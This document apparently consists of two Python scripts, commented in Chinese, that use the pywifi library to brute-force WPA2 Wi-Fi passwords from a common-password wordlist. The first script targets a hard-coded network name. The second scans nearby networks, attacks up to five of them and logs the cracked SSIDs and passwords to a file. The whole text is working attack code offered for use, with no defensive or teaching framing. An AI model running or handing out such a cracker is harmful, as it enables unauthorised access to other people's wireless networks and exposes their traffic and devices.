目錄:
# coding:utf-8 import time # 時間 import pywifi # 破解wifi from pywifi import const # 引用一些定義 from asyncio.tasks import sleep class PoJie(): def __init__(self, path): self.file = open(path, "r", errors="ignore") wifi = pywifi.PyWiFi() # 抓取網卡接口 self.iface = wifi.interfaces()[0] # 抓取第一個無限網卡 self.iface.disconnect() # 測試鏈接斷開所有鏈接 time.sleep(1) # 休眠1秒 # 測試網卡是否屬於斷開狀態, assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("開始破解:") while True: try: myStr = self.file.readline() if not myStr: break bool1 = self.test_connect(myStr) if bool1: print("密碼正確:", myStr) break else: print("密碼錯誤:" + myStr) time.sleep(3) except: continue def test_connect(self, findStr): # 測試鏈接 profile = pywifi.Profile() # 創建wifi鏈接文件 #==================修改部分1====================== profile.ssid = "baby1997_xdd" # wifi名稱 #================================================= profile.auth = const.AUTH_ALG_OPEN # 網卡的開放, profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 profile.key = findStr # 密碼 self.iface.remove_all_network_profiles() # 刪除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈接文件 self.iface.connect(tmp_profile) # 鏈接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上 isOK = True else: isOK = False self.iface.disconnect() # 斷開 time.sleep(1) # 檢查斷開狀態 assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() #=========================修改部分2========================================== path = r"D:\File_Python\wifi\WiFi_ChangYongPassword.txt" #============================================================================ start = PoJie(path) start.readPassWord()
import pywifi from pywifi import const # 引用一些定義 import time def getwifi(wifilist, wificount): wifi = pywifi.PyWiFi() # 抓取網卡接口 ifaces = wifi.interfaces()[0] # 獲取網卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() allwifilist = [] namelist = [] ssidlist = [] for data in bessis: if data.ssid not in namelist: # 去掉重復的WIFI名稱 namelist.append(data.ssid) allwifilist.append((data.ssid, data.signal)) sorted(allwifilist, key=lambda st: st[1], reverse=True) time.sleep(1) n = 0 if len(allwifilist) is not 0: for item in allwifilist: if (item[0] not in ssidlist) & (item[0] not in wifilist): n = n + 1 if n <= wificount: ssidlist.append(item[0]) print(allwifilist) return ssidlist def getifaces(): wifi = pywifi.PyWiFi() # 抓取網卡接口 ifaces = wifi.interfaces()[0] # 獲取網卡 ifaces.disconnect() # 斷開無限網卡連接 return ifaces def testwifi(ifaces, ssidname, password): profile = pywifi.Profile() # 創建wifi連接文件 profile.ssid = ssidname # 定義wifissid profile.auth = const.AUTH_ALG_OPEN # 網卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 profile.key = password # wifi密碼 ifaces.remove_all_network_profiles() # 刪除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile) # 加載配置文件 ifaces.connect(tmp_profile) # 連接wifi time.sleep(5) # 5秒內能否連接上 if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def beginwork(wifinamelist): ifaces = getifaces() path = r"wifi_ChangYongPassword.txt" # path = r"password-常用密碼.txt" files = open(path, 'r') while True: try: password = files.readline() password = password.strip('\n') if not password: break for wifiname in wifinamelist: print("正在嘗試:" + wifiname + "," + password) if testwifi(ifaces, wifiname, password): print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password+'======================================') #===================================== # 將連接上的賬戶與密碼寫入到文件中 filePassword = open("./成功破解的賬戶.txt", "a"); filePassword.write('Wifi賬號:' + wifiname + ' ' + 'Wifi密碼:' + password + '\n'); filePassword.close(); #===================================== wifinamelist.remove(wifiname) break if not wifinamelist: break except: continue files.close() if __name__ == '__main__': wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字 # print(wifinames_e) wifinames = getwifi(wifinames_e, 5) print(wifinames) beginwork(wifinames)
